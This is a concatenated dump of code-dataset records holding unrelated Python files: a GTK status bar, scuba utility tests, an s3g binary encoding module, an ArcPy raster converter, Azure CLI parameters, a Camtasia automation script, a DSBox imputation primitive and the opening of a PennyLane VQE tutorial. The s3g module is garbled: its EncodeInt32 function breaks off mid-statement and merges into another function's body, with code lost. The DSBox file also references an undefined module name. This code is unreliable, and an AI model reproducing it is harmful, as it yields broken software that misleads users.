ALIGN_MIDDLE\nfrom constant import *\nimport gtk\nimport gobject\n\nclass StatusBar(gtk.HBox):\n '''docstring for StatusBar'''\n def __init__(self):\n super(StatusBar, self).__init__(False)\n self.__count = 0\n self.__timeout_id = None\n self.text_label = Label(\"\", text_x_align=ALIGN_MIDDLE,\n label_width=500,\n enable_select=False,\n enable_double_click=False)\n text_align = gtk.Alignment()\n text_align.set(0.0, 0.5, 0.0, 0.0)\n text_align.add(self.text_label)\n\n self.button_hbox = gtk.HBox(False)\n self.button_hbox.set_spacing(WIDGET_SPACING)\n button_align = gtk.Alignment()\n button_align.set(1.0, 0.5, 0.0, 0.0)\n button_align.set_padding(0, 0, 0, 10)\n button_align.add(self.button_hbox)\n\n self.pack_start(text_align)\n self.pack_start(button_align)\n\n self.set_size_request(WINDOW_WIDTH, STATUS_HEIGHT)\n self.connect(\"expose-event\", self.draw_background)\n\n def draw_background(self, widget, event):\n cr = widget.window.cairo_create()\n x, y, w, h = widget.allocation\n cr.set_source_rgb(*color_hex_to_cairo(MODULE_BG_COLOR))\n cr.rectangle(x, y+1, w, h-1)\n cr.fill()\n\n cr.set_source_rgb(*color_hex_to_cairo(TREEVIEW_BORDER_COLOR))\n draw_line(cr, x, y + 1, x + w, y + 1)\n\n def set_text(self, text):\n self.__count += 1\n if self.__timeout_id:\n gtk.timeout_remove(self.__timeout_id)\n self.text_label.set_text(text)\n self.__timeout_id = gobject.timeout_add(3000, self.hide_text)\n\n def hide_text(self):\n self.__count -= 1\n self.__timeout_id = None\n self.text_label.set_text(\"\")\n\n def set_buttons(self, buttons):\n self.clear_button()\n for bt in buttons:\n self.button_hbox.pack_start(bt, False, False)\n self.show_all()\n\n def get_buttons(self):\n return self.button_hbox.get_children()\n\n def clear_button(self):\n self.button_hbox.foreach(self.button_hbox.remove)\n \ngobject.type_register(StatusBar)\n","sub_path":"modules/touchpad/src/statusbar.py","file_name":"statusbar.py","file_ext":"py","file_size_in_byte":3166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"163003361","text":"import shlex\nfrom itertools import chain\n\nfrom .utils import *\nimport pytest\n\nimport scuba.utils\n\n\ndef _parse_cmdline(cmdline):\n # Strip the formatting and whitespace\n lines = [l.rstrip('\\\\').strip() for l in cmdline.splitlines()]\n\n # Split each line, and return a flattened list of arguments\n return chain.from_iterable(map(shlex.split, lines))\n\ndef _test_format_cmdline(args):\n\n # Call the unit-under-test to get the formatted command line\n result = scuba.utils.format_cmdline(args)\n\n # Parse the result back out to a list of arguments\n out_args = _parse_cmdline(result)\n\n # Verify that they match\n assert_seq_equal(out_args, args)\n\n\ndef test_format_cmdline():\n '''format_cmdline works as expected'''\n\n _test_format_cmdline([\n 'something',\n '-a',\n '-b',\n '--long', 'option text',\n '-s', 'hort',\n 'a very long argument here that will end up on its own line because it is so wide and nothing else will fit at the default width',\n 'and now',\n 'some', 'more', 'stuff',\n 'and even more stuff',\n ])\n\n\ndef test_shell_quote_cmd():\n args = ['foo', 'bar pop', '\"tee ball\"']\n\n result = scuba.utils.shell_quote_cmd(args)\n\n out_args = shlex.split(result)\n\n assert_seq_equal(out_args, args)\n\n\ndef test_parse_env_var():\n '''parse_env_var returns a key, value pair'''\n result = scuba.utils.parse_env_var('KEY=value')\n assert result == ('KEY', 'value')\n\ndef test_parse_env_var_more_equals():\n '''parse_env_var handles multiple equals signs'''\n result = scuba.utils.parse_env_var('KEY=anotherkey=value')\n assert result == ('KEY', 'anotherkey=value')\n\ndef test_parse_env_var_no_equals(monkeypatch):\n '''parse_env_var handles no equals and gets value from environment'''\n monkeypatch.setenv('KEY', 'mockedvalue')\n result = scuba.utils.parse_env_var('KEY')\n assert result == ('KEY', 'mockedvalue')\n\ndef test_parse_env_var_not_set(monkeypatch):\n '''parse_env_var returns an empty string if not set'''\n monkeypatch.delenv('NOTSET', raising=False)\n result = scuba.utils.parse_env_var('NOTSET')\n assert result == ('NOTSET', '')\n\ndef test_flatten_list__not_list():\n with pytest.raises(ValueError):\n scuba.utils.flatten_list('abc')\n\ndef test_flatten_list__not_nested():\n sample = [1, 2, 3, 4]\n result = scuba.utils.flatten_list(sample)\n assert result == sample\n\ndef test_flatten_list__nested_1():\n sample = [\n 1,\n [2, 3],\n 4,\n [5, 6, 7],\n ]\n exp = range(1, 7+1)\n result = scuba.utils.flatten_list(sample)\n assert_seq_equal(result, exp)\n\ndef test_flatten_list__nested_many():\n sample = [\n 1,\n [2, 3],\n [4, 5, [6, 7, 8]],\n 9, 10,\n [11, [12, [13, [14, [15, [16, 17, 18]]]]]],\n ]\n exp = range(1, 18+1)\n result = scuba.utils.flatten_list(sample)\n assert_seq_equal(result, exp)\n","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":2915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"569348883","text":"import struct\nimport array\n\nfrom errors import *\n\n\n\ndef AddObjToPayload(payload, obj):\n \"\"\"Adds an object to the payload\n\n Objects come in three flavors: single objects, iterators and iterators nested in iterators. \n Because we cannot extend iterators of iterators, we use this recursive function to break all \n iterators down into single objects and add them that way.\n\n @param payload A payload in the form of a byte array we add the obj to\n @param obj The object we want to add to the payload\n \"\"\"\n try:\n payload.append(obj)\n except:\n for o in obj:\n AddObjToPayload(payload, o)\n\ndef EncodeInt32(number):\n \"\"\"\n Encode a 32-bit signed integer as a 4-byte string\n @param number \n @return byte array of size 4 that represents the integer\n \"\"\"\n return struct.pack(' 8:\n raise TypeError(\"Expecting bitfield of size no greater than 8, got bitfield of size %i\"%(len(bitString)))\n bitList = list(bitString)\n bitList.reverse()\n for i in range(8-len(bitList)):\n bitList.append(0)\n return bitList\n\ndef EncodeAxes(axes):\n \"\"\"\n Encode an array of axes names into an axis bitfield\n @param axes Array of axis names ['x', 'y', ...] \n @return bitfield containing a representation of the axes map\n \"\"\"\n # TODO: Test cases?\n\n axes_map = {\n 'x':0x01,\n 'y':0x02,\n 'z':0x04,\n 'a':0x08,\n 'b':0x10,\n }\n\n bitfield = 0\n\n for axis in axes:\n bitfield |= axes_map[axis]\n\n return bitfield\n\n\ndef UnpackResponse(format, data):\n \"\"\"\n Attempt to unpack the given data using the specified format. Throws a protocol\n error if the unpacking fails.\n \n @param format Format string to use for unpacking\n @param data Data to unpack, including a string if specified\n @return list of values unpacked, if successful.\n \"\"\"\n\n try:\n return struct.unpack(format, buffer(data))\n except struct.error as e:\n raise ProtocolError(\"Unexpected data returned from machine. Expected length=%i, got=%i, error=%s\"%\n (struct.calcsize(format),len(data),str(e)))\n\ndef UnpackResponseWithString(format, data):\n \"\"\"\n Attempt to unpack the given data using the specified format, and with a trailing,\n null-terminated string. Throws a protocol error if the unpacking fails.\n \n @param format Format string to use for unpacking\n @param data Data to unpack, including a string if specified\n @return list of values unpacked, if successful.\n \"\"\"\n if (len(data) < struct.calcsize(format) + 1):\n raise ProtocolError(\"Not enough data received from machine, expected=%i, got=%i\"%\n (struct.calcsize(format)+1,len(data))\n )\n\n output = UnpackResponse(format, data[0:struct.calcsize(format)])\n output += data[struct.calcsize(format):],\n\n return output\n","sub_path":"s3g/coding.py","file_name":"coding.py","file_ext":"py","file_size_in_byte":4021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"130130395","text":"from os import listdir\nfrom os.path import join\nfrom arcpy import ASCIIToRaster_conversion, Resample_management\n\ncurr_asc_directory = \"D:\\PTBPI\\SIXTH SURVEY\\DATA\\ARUS2\"\ncurr_asc_input = \"RESULTOSCARJUL2018\"\ncurr_asc_output = \"RESULTOSCARJUL2018_1\"\ncurr_asc_output2 = \"RESULTOSCARJUL2018_2\"\n\ndef main():\n\tprint(\"\\n\" + \"OSCAR Global Ocean Current Tool\")\n\tprint(\" ASCII to Raster Converter \")\n\tprint(\" Version 1.00a by: MasBoyo \" + \"\\n\")\n\n\t#Convert into low resolution grid\n\tprint(\"\\n\" + \"Process 1 (Convert .asc to grid .adf) - STARTED\" + \"\\n\")\n\n\tlistfiles = []\n\tsearchasc = join(curr_asc_directory,curr_asc_input)\n\tfor f in listdir(searchasc):\n\t\tcurrascii = join(curr_asc_directory,curr_asc_input,f)\n\t\tcurrgrid = join(curr_asc_directory,curr_asc_output,f.replace('.asc',''))\n\t\tcurrproj = join(currgrid,\"prj.adf\")\n\t\tlistfiles.append((currascii,currgrid,currproj))\n\tfor i in range(len(listfiles)):\n\t\tconvASCRAS(listfiles[i][0],listfiles[i][1],listfiles[i][2])\n\n\tprint(\"\\n\" + \"Process 1 (Convert .asc to grid .adf) - FINISHED\" + \"\\n\")\n\n\t#Resample grid data\n\tprint(\"\\n\" + \"Process 2 (Upscale resolution of grid .adf) - STARTED\" + \"\\n\")\n\n\tlistfiles2 = []\n\tsearchasc2 = join(curr_asc_directory,curr_asc_output)\n\tfor f in listdir(searchasc2):\n\t\tif f.endswith(\"dircur\") or f.endswith(\"velcur\") or f.endswith(\"vcurne\"):\n\t\t\tcurrgrid1o = join(curr_asc_directory,curr_asc_output,f)\n\t\t\tcurrgridhi = join(curr_asc_directory,curr_asc_output2,f)\n\t\t\tcurrproj2 = join(currgridhi,\"prj.adf\")\n\t\t\tlistfiles2.append((currgrid1o,currgridhi,currproj2))\n\tfor i in range(len(listfiles2)):\n\t\tgrdResample(listfiles2[i][0],listfiles2[i][1],listfiles2[i][2])\n\n\tprint(\"\\n\" + \"Process 2 (Upscale resolution of grid .adf) - FINISHED\" + \"\\n\")\n\ndef convASCRAS(a,b,c):\n\tprint(\"Working on \" + a)\n\trasterType = \"FLOAT\"\n\tASCIIToRaster_conversion(a, b, rasterType)\n\twith open(c, \"w\") as grdprj:\n\t\tgrdprj.write(\"Projection GEOGRAPHIC\" + \"\\n\" +\\\n\t\t\t\"Datum WGS84\" + \"\\n\" +\\\n\t\t\t\"Spheroid WGS84\" + \"\\n\" +\\\n\t\t\t\"Units DD\" + \"\\n\" +\\\n\t\t\t\"Zunits NO\" + \"\\n\" +\\\n\t\t\t\"Parameters \")\n\tgrdprj.close()\n\tprint(\"Exported as \" + b)\n\ndef grdResample(a,b,c):\n\tprint(\"Working on \" + a)\n\tResample_management(a, b, \"0.125\", \"CUBIC\")\n\twith open(c, \"w\") as grdprj:\n\t\tgrdprj.write(\"Projection GEOGRAPHIC\" + \"\\n\" +\\\n\t\t\t\"Datum WGS84\" + \"\\n\" +\\\n\t\t\t\"Spheroid WGS84\" + \"\\n\" +\\\n\t\t\t\"Units DD\" + \"\\n\" +\\\n\t\t\t\"Zunits NO\" + \"\\n\" +\\\n\t\t\t\"Parameters \")\n\tgrdprj.close()\n\tprint(\"Exported as \" + b)\n\nif __name__ == '__main__':\n\tmain()","sub_path":"tools/OSCAR_CURRENT_ASC2RAS.py","file_name":"OSCAR_CURRENT_ASC2RAS.py","file_ext":"py","file_size_in_byte":2522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"560626796","text":"# --------------------------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for license information.\n# --------------------------------------------------------------------------------------------\n\nfrom azure.cli.core.commands.validators import get_default_location_from_resource_group\n\nfrom azure.cli.core.commands.parameters import zone_type\n\nfrom ._validators import (validate_public_ip_addresses, validate_public_ip_prefixes)\n# pylint: disable=line-too-long\n\n\ndef load_arguments(self, _):\n with self.argument_context('network nat gateway') as c:\n c.argument('nat_gateway_name', id_part='name', options_list=['--name', '-n'], help='Name of the NAT gateway.')\n c.argument('location', validator=get_default_location_from_resource_group)\n c.argument('public_ip_addresses', nargs='+', help='Space-separated list of public IP addresses (names or IDs).', validator=validate_public_ip_addresses)\n c.argument('public_ip_prefixes', nargs='+', help='Space-separated list of public IP prefixes (names or IDs).', validator=validate_public_ip_prefixes)\n c.argument('idle_timeout', help='Idle timeout in minutes.')\n c.argument('zone', zone_type)\n c.ignore('expand')\n","sub_path":"src/azure-cli/azure/cli/command_modules/natgateway/_params.py","file_name":"_params.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"280971916","text":"# This file has been developed by Arastoo Khjehee as an automation tool for the camtasia2ffmpeg.py scritpt\r\n# developed by Ramy Aydarous and Jose Luis Garcia del Castillo for lossless video editting without re-encoding \r\n# or re-rendering\r\n# \r\n# https://github.com/Arastookhajehee \r\n# https://github.com/garciadelcastillo\r\n# https://github.com/RamyAydarous\r\n\r\nimport os\r\nimport glob\r\nimport subprocess\r\n\r\nprint(\"Would you like to run the camtasia2ffmpeg.py file automatically?\")\r\nrunMode = input(\"(y):Automatic Mode (n):Input file name manually \")\r\n\r\nif (runMode == \"y\"):\r\n print(\"\")\r\n print(\"Make sure none of the .tscproj files have the same name as the .mp4 files!!!\")\r\n print(\"Due to the replacement of the original file with the same name, This might\")\r\n print(\"result in unexpected errors, or unwanted trimmings.\")\r\n continueOper = input(\"Would you like to continue? (y):Yes (n):No \")\r\n if (continueOper == \"y\"):\r\n tscprojFiles = glob.glob(\"*.tscproj\")\r\n fileCount = len(tscprojFiles)\r\n for i in range(0,fileCount):\r\n tscprojFile = str(tscprojFiles[i])\r\n subprocess.call(\"python .\\camtasia2ffmpeg.py \\\"\" + tscprojFile)\r\nelse:\r\n print(\"Manual Mode selected.\")\r\n print(\"What is the name of the .tscproj file that you would like to use?\")\r\n manualtscprojFile = input(\"(write only name without the .tscproj) \")\r\n tscprojFile = manualtscprojFile + \".tscproj\"\r\n subprocess.call(\"python .\\camtasia2ffmpeg.py \\\"\" + tscprojFile)","sub_path":"RunCamtasiaToFFmpegAutomatically.py","file_name":"RunCamtasiaToFFmpegAutomatically.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"175581162","text":"import numpy as np\nimport pandas as pd\nfrom . import missing_value_pred as mvp\nimport d3m.metadata.base as mbase\nfrom d3m.primitive_interfaces.unsupervised_learning import UnsupervisedLearnerPrimitiveBase\nfrom d3m.primitive_interfaces.base import CallResult\nimport stopit\nimport math\nimport typing\n\nfrom d3m import container\nfrom d3m.metadata import hyperparams, params\nfrom d3m.metadata.hyperparams import UniformBool\nimport common_primitives.utils as utils\n\nimport typing\n\nfrom . import config\n\nInput = container.DataFrame\nOutput = container.DataFrame\n\n# store the regression models for each missing-value column in training data\n\n\nclass IR_Params(params.Params):\n fitted : typing.Union[typing.Any, None]\n verbose : typing.Union[typing.Any, None]\n iterations_done : typing.Union[typing.Any, None]\n has_finished : typing.Union[typing.Any, None]\n best_imputation : typing.Union[typing.Any, None]\n\nclass IterativeRegressionHyperparameter(hyperparams.Hyperparams):\n verbose = UniformBool(default=False,\n semantic_types=['http://schema.org/Boolean',\n 'https://metadata.datadrivendiscovery.org/types/ControlParameter'])\n use_columns = hyperparams.Set(\n elements=hyperparams.Hyperparameter[int](-1),\n default=(),\n semantic_types=['https://metadata.datadrivendiscovery.org/types/ControlParameter'],\n description=\"A set of column indices to force primitive to operate on. If any specified column cannot be parsed, it is skipped.\",\n )\n exclude_columns = hyperparams.Set(\n elements=hyperparams.Hyperparameter[int](-1),\n default=(),\n semantic_types=['https://metadata.datadrivendiscovery.org/types/ControlParameter'],\n description=\"A set of column indices to not operate on. Applicable only if \\\"use_columns\\\" is not provided.\",\n )\n return_result = hyperparams.Enumeration(\n values=['append', 'replace', 'new'],\n default='replace',\n semantic_types=['https://metadata.datadrivendiscovery.org/types/ControlParameter'],\n description=\"Should parsed columns be appended, should they replace original columns, or should only parsed columns be returned? This hyperparam is ignored if use_semantic_types is set to false.\",\n )\n use_semantic_types = hyperparams.UniformBool(\n default=False,\n semantic_types=['https://metadata.datadrivendiscovery.org/types/ControlParameter'],\n description=\"Controls whether semantic_types metadata will be used for filtering columns in input dataframe. Setting this to false makes the code ignore return_result and will produce only the output dataframe\"\n )\n add_index_columns = hyperparams.UniformBool(\n default=True,\n semantic_types=['https://metadata.datadrivendiscovery.org/types/ControlParameter'],\n description=\"Also include primary index columns if input data has them. Applicable only if \\\"return_result\\\" is set to \\\"new\\\".\",\n )\n\nclass IterativeRegressionImputation(UnsupervisedLearnerPrimitiveBase[Input, Output, IR_Params, IterativeRegressionHyperparameter]):\n \"\"\"\n Impute the missing value by iteratively regress using other attributes.\n It will fit and fill the missing value in the training set, and store the learned models.\n In the `produce` phase, it will use the learned models to iteratively regress on the\n testing data again, and return the imputed testing data.\n\n Parameters:\n ----------\n verbose: bool\n Control the verbosity\n\n Attributes:\n ----------\n best_imputation: dict. key: column name; value: trained imputation method (parameters)\n could be sklearn regression model, or \"mean\" (which means the regression failed)\n\n \"\"\"\n metadata = hyperparams.base.PrimitiveMetadata({\n # Required\n \"id\": \"f70b2324-1102-35f7-aaf6-7cd8e860acc4\",\n \"version\": config.VERSION,\n \"name\": \"DSBox Iterative Regression Imputer\",\n \"description\": \"Impute missing values using iterative regression\",\n \"python_path\": \"d3m.primitives.data_preprocessing.IterativeRegressionImputation.DSBOX\",\n \"primitive_family\": \"DATA_PREPROCESSING\",\n \"algorithm_types\": [\"IMPUTATION\"],\n \"source\": {\n \"name\": config.D3M_PERFORMER_TEAM,\n \"contact\": config.D3M_CONTACT,\n \"uris\": [config.REPOSITORY]\n },\n # Automatically generated\n # \"primitive_code\"\n # \"original_python_path\"\n # \"schema\"\n # \"structural_type\"\n # Optional\n \"keywords\": [\"preprocessing\", \"imputation\"],\n \"installation\": [config.INSTALLATION],\n \"location_uris\": [],\n \"precondition\": [hyperparams.base.PrimitivePrecondition.NO_CATEGORICAL_VALUES],\n # \"effects\": [hyperparams.base.PrimitiveEffects.NO_MISSING_VALUES],\n \"hyperparms_to_tune\": []\n })\n\n def __init__(self, *, hyperparams: IterativeRegressionHyperparameter) -> None:\n super().__init__(hyperparams=hyperparams)\n\n # All primitives must define these attributes\n self.hyperparams = hyperparams\n\n # All other attributes must be private with leading underscore\n self._best_imputation: typing.Dict = {} # in params.regression_models\n self._train_x: Input = None\n self._is_fitted = True\n self._has_finished = True\n self._iterations_done = True\n self._verbose = hyperparams['verbose'] if hyperparams else False\n\n def set_params(self, *, params: IR_Params) -> None:\n self._is_fitted = params['fitted']\n self._verbose = params['verbose']\n self._iterations_done = params['iterations_done']\n self._has_finished = params['has_finished']\n self._best_imputation = params['best_imputation']\n\n def get_params(self) -> IR_Params:\n return IR_Params(\n fitted = self._is_fitted,\n verbose = self._verbose,\n iterations_done = self._iterations_done,\n has_finished = self._has_finished,\n best_imputation = self._best_imputation\n )\n\n def set_training_data(self, *, inputs: Input) -> None:\n \"\"\"\n Sets training data of this primitive.\n\n Parameters\n ----------\n inputs : Input\n The inputs.\n \"\"\"\n if (pd.isnull(inputs).sum().sum() == 0): # no missing value exists\n if self._verbose:\n print(\"Warning: no missing value in train dataset\")\n\n self._train_x = inputs\n self._is_fitted = False\n\n def fit(self, *, timeout: float = None, iterations: int = None) -> CallResult[None]:\n \"\"\"\n train imputation parameters. Now support:\n -> greedySearch\n\n for the method that not trainable, do nothing:\n -> interatively regression\n -> other\n\n Parameters:\n ----------\n data: pandas dataframe\n label: pandas series, used for the trainable methods\n \"\"\"\n\n # if already fitted on current dataset, do nothing\n if self._is_fitted:\n return CallResult(None, self._has_finished, self._iterations_done)\n\n if (timeout is None):\n timeout = 2**31 - 1\n if (iterations is None):\n self._iterations_done = True\n iterations = 30\n # import pdb\n # pdb.set_trace()\n # setup the timeout\n with stopit.ThreadingTimeout(timeout) as to_ctx_mrg:\n assert to_ctx_mrg.state == to_ctx_mrg.EXECUTING\n\n data = self._train_x.copy()\n\n # start fitting\n if self._verbose:\n print(\"=========> iteratively regress method:\")\n data_clean, self._best_imputation = self.__iterativeRegress(data, iterations)\n\n # self._train_x, self._best_imputation = self.__iterativeRegress(data, iterations)\n if to_ctx_mrg.state == to_ctx_mrg.EXECUTED:\n self._is_fitted = True\n self._iterations_done = True\n self._has_finished = True\n elif to_ctx_mrg.state == to_ctx_mrg.TIMED_OUT:\n self._is_fitted = False\n self._iterations_done = False\n self._has_finished = False\n return CallResult(None, self._has_finished, self._iterations_done)\n\n def produce(self, *, inputs: Input, timeout: float = None, iterations: int = None) -> CallResult[Output]:\n \"\"\"\n precond: run fit() before\n\n to complete the data, based on the learned parameters, support:\n -> greedy search\n\n also support the untrainable methods:\n -> iteratively regression\n -> other\n\n Parameters:\n ----------\n data: pandas dataframe\n label: pandas series, used for the evaluation of imputation\n\n TODO:\n ----------\n 1. add evaluation part for __simpleImpute()\n\n \"\"\"\n\n # inputs = inputs.convert_objects(convert_numeric=True)\n attribute = utils.list_columns_with_semantic_types(\n inputs.metadata, ['https://metadata.datadrivendiscovery.org/types/Attribute'])\n numeric = utils.list_columns_with_semantic_types(\n inputs.metadata, ['http://schema.org/Integer', 'http://schema.org/Float'])\n numeric = [x for x in numeric if x in attribute]\n\n # keys = data.keys()\n # missing_col_id = []\n\n inputs = inputs.iloc[:, numeric].apply(\n lambda col: pd.to_numeric(col, errors='coerce'))\n # data = mvp.df2np(numeric_data, missing_col_id, self._verbose)\n\n for i in numeric:\n old_metadata = dict(inputs.metadata.query((mbase.ALL_ELEMENTS, i)))\n old_metadata[\"structural_type\"] = inputs.iloc[:, i].values.dtype.type\n inputs.metadata = inputs.metadata.update((mbase.ALL_ELEMENTS, i), old_metadata)\n\n # Impute numerical attributes only\n\n if (not self._is_fitted):\n # todo: specify a NotFittedError, like in sklearn\n raise ValueError(\"Calling produce before fitting.\")\n\n if (pd.isnull(inputs).sum().sum() == 0): # no missing value exists\n if self._verbose:\n print(\"Warning: no missing value in test dataset\")\n self._has_finished = True\n return CallResult(inputs, self._has_finished, self._iterations_done)\n\n if (timeout is None):\n timeout = 2**31 - 1\n if (iterations is None):\n self._iterations_done = True\n iterations = 30 # only works for iteratively_regre method\n\n data = inputs.copy()\n # record keys:\n keys = data.keys()\n index = data.index\n\n # setup the timeout\n with stopit.ThreadingTimeout(timeout) as to_ctx_mrg:\n assert to_ctx_mrg.state == to_ctx_mrg.EXECUTING\n\n # start completing data...\n if self._verbose:\n print(\"=========> iteratively regress method:\")\n data_clean = self.__regressImpute(data, self._best_imputation, iterations)\n value = None\n if to_ctx_mrg.state == to_ctx_mrg.EXECUTED:\n self._is_fitted = True\n self._has_finished = True\n value = pd.DataFrame(data_clean, index, keys)\n value = container.DataFrame(value)\n value.metadata = data.metadata\n elif to_ctx_mrg.state == to_ctx_mrg.TIMED_OUT:\n print(\"Timed Out...\")\n self._is_fitted = False\n self._has_finished = False\n self._iterations_done = False\n return CallResult(value, self._has_finished, self._iterations_done)\n\n\n @classmethod\n def _get_columns_to_fit(cls, inputs: Input, hyperparams: IterativeRegressionHyperparameter):\n if not hyperparams['use_semantic_types']:\n return inputs, list(range(len(inputs.columns)))\n\n inputs_metadata = inputs.metadata\n\n def can_produce_column(column_index: int) -> bool:\n return cls._can_produce_column(inputs_metadata, column_index, hyperparams)\n\n columns_to_produce, columns_not_to_produce = common_utils.get_columns_to_use(inputs_metadata,\n use_columns=hyperparams['use_columns'],\n exclude_columns=hyperparams['exclude_columns'],\n can_use_column=can_produce_column)\n return inputs.iloc[:, columns_to_produce], columns_to_produce\n\n\n @classmethod\n def _can_produce_column(cls, inputs_metadata: mbase.DataMetadata, column_index: int, hyperparams: IterativeRegressionHyperparameter) -> bool:\n column_metadata = inputs_metadata.query((mbase.ALL_ELEMENTS, column_index))\n\n semantic_types = column_metadata.get('semantic_types', [])\n if len(semantic_types) == 0:\n cls.logger.warning(\"No semantic types found in column metadata\")\n return False\n if \"https://metadata.datadrivendiscovery.org/types/Attribute\" in semantic_types:\n return True\n\n return False\n\n\n #============================================ helper functions ============================================\n def __iterativeRegress(self, data, iterations):\n '''\n init with simple imputation, then apply regression to impute iteratively\n '''\n # for now, cancel the evaluation part for iterativeRegress\n # is_eval = False\n # if (label_col_name==None or len(label_col_name)==0):\n # is_eval = False\n # else:\n # is_eval = True\n\n # indices for numeric attribute columns only\n attribute = utils.list_columns_with_semantic_types(\n data.metadata, ['https://metadata.datadrivendiscovery.org/types/Attribute'])\n numeric = utils.list_columns_with_semantic_types(\n data.metadata, ['http://schema.org/Integer', 'http://schema.org/Float'])\n numeric = [x for x in numeric if x in attribute]\n\n keys = data.keys()\n missing_col_id = []\n numeric_data = data.iloc[:, numeric].apply(\n lambda col: pd.to_numeric(col, errors='coerce'))\n data = mvp.df2np(numeric_data, missing_col_id, self._verbose)\n\n # Impute numerical attributes only\n missing_col_id = [x for x in missing_col_id if x in numeric]\n missing_col_data = data[:, missing_col_id]\n\n # If all values in a column are missing, set that column to zero\n all_missing = np.sum(np.isnan(missing_col_data), axis=0) == missing_col_data.shape[0]\n for col, col_missing in enumerate(all_missing):\n if col_missing:\n missing_col_data[:, col] = 0\n\n imputed_data = np.zeros([data.shape[0], len(missing_col_id)])\n imputed_data_lastIter = missing_col_data\n # coeff_matrix = np.zeros([len(missing_col_id), data.shape[1]-1]) #coefficient vector for each missing value column\n model_list = [None] * len(missing_col_id) # store the regression model\n epoch = iterations\n counter = 0\n # mean init all missing-value columns\n init_imputation = [\"mean\"] * len(missing_col_id)\n next_data = mvp.imputeData(data, missing_col_id, init_imputation, self._verbose)\n\n while (counter < epoch):\n for i in range(len(missing_col_id)):\n target_col = missing_col_id[i]\n next_data[:, target_col] = missing_col_data[:, i] # recover the column that to be imputed\n\n data_clean, model_list[i] = mvp.bayeImpute(next_data, target_col, self._verbose)\n next_data[:, target_col] = data_clean[:, target_col] # update bayesian imputed column\n imputed_data[:, i] = data_clean[:, target_col] # add the imputed data\n\n # if (is_eval):\n # self.__evaluation(data_clean, label)\n\n # if (counter > 0):\n # distance = np.square(imputed_data - imputed_data_lastIter).sum()\n # if self._verbose: print(\"changed distance: {}\".format(distance))\n imputed_data_lastIter = np.copy(imputed_data)\n counter += 1\n data[:, missing_col_id] = imputed_data_lastIter\n # convert model_list to dict\n model_dict = {}\n for i in range(len(model_list)):\n model_dict[keys[missing_col_id[i]]] = model_list[i]\n\n return data, model_dict\n\n def __regressImpute(self, data, model_dict, iterations):\n \"\"\"\n \"\"\"\n col_names = data.keys()\n # 1. convert to np array and get missing value column id\n missing_col_id = []\n data = mvp.df2np(data, missing_col_id, self._verbose)\n\n model_list = [] # the model list\n new_missing_col_id = [] # the columns that have correspoding model\n # mask = np.ones((data.shape[1]), dtype=bool) # false means: this column cannot be bring into impute\n # offset = 0 # offset from missing_col_id to new_missing_col_id\n\n for i in range(len(missing_col_id)):\n name = col_names[missing_col_id[i]]\n # if there is a column that not appears in trained model, impute it as \"mean\"\n if (name not in model_dict.keys()):\n data = mvp.imputeData(data, [missing_col_id[i]], [\"mean\"], self._verbose)\n # mask[missing_col_id[i]] = False\n print(\"fill\" + name + \"with mean\")\n # offset += 1\n else:\n model_list.append(model_dict[name])\n new_missing_col_id.append(missing_col_id[i])\n\n # now, impute the left missing columns using the model from model_list (ignore the extra columns)\n to_impute_data = data # just change a name..\n missing_col_data = to_impute_data[:, new_missing_col_id]\n epoch = iterations\n counter = 0\n # mean init all missing-value columns\n init_imputation = [\"mean\"] * len(new_missing_col_id)\n next_data = mvp.imputeData(to_impute_data, new_missing_col_id, init_imputation, self._verbose)\n\n while (counter < epoch):\n for i in range(len(new_missing_col_id)):\n target_col = new_missing_col_id[i]\n next_data[:, target_col] = missing_col_data[:, i] # recover the column that to be imputed\n\n next_data = mvp.transform(next_data, target_col, model_list[i], self._verbose)\n\n counter += 1\n\n # put back to data\n # data[:, mask] = next_data\n return next_data\n","sub_path":"dsbox/datapreprocessing/cleaner/iterative_regression.py","file_name":"iterative_regression.py","file_ext":"py","file_size_in_byte":18531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"381700066","text":"# coding=utf-8\r\nr\"\"\"\r\nVQE with parallel QPUs on Rigetti Forest\r\n========================================\r\n\r\n.. meta::\r\n :property=\"og:description\": This demonstration showcases how parallel QPUs can\r\n speed up the calculation of the potential energy surface of molecular Hamiltonian.\r\n :property=\"og:image\": https://pennylane.ai/qml/_images/vqe_diagram.png\r\n\r\nThis tutorial showcases how using asynchronously-evaluated parallel QPUs can speed up the\r\ncalculation of the potential energy surface of molecular hydrogen (:math:`H_2`).\r\n\r\nUsing a VQE setup, we task two devices from the\r\n`PennyLane-Forest `__ plugin with evaluating\r\nseparate terms in the qubit Hamiltonian of :math:`H_2`. As these devices are allowed to operate\r\nasynchronously, i.e., at the same time and without having to wait for each other,\r\nthe calculation can be performed in roughly half the time.\r\n\r\nWe begin by importing the prerequisite libraries:\r\n\"\"\"\r\n\r\nimport time\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pennylane as qml\r\nfrom pennylane import qchem\r\n\r\n##############################################################################\r\n# This tutorial requires the ``pennylane-qchem``, ``pennylane-forest`` and ``dask``\r\n# packages, which are installed separately using:\r\n#\r\n# .. code-block:: bash\r\n#\r\n# pip install pennylane-qchem\r\n# pip install pennylane-forest\r\n# pip install \"dask[delayed]\"\r\n#\r\n# Finding the qubit Hamiltonians of :math:`H_{2}`\r\n# -----------------------------------------------\r\n#\r\n# The objective of this tutorial is to evaluate the potential energy surface of molecular\r\n# hydrogen. This is achieved by finding the ground state energy of :math:`H_{2}` as we increase\r\n# the bond length between the hydrogen atoms.\r\n#\r\n# Each inter-atomic distance results in a different qubit Hamiltonian. To find the corresponding\r\n# Hamiltonian, we use the :func:`~.pennylane_qchem.qchem.generate_hamiltonian` function of the\r\n# 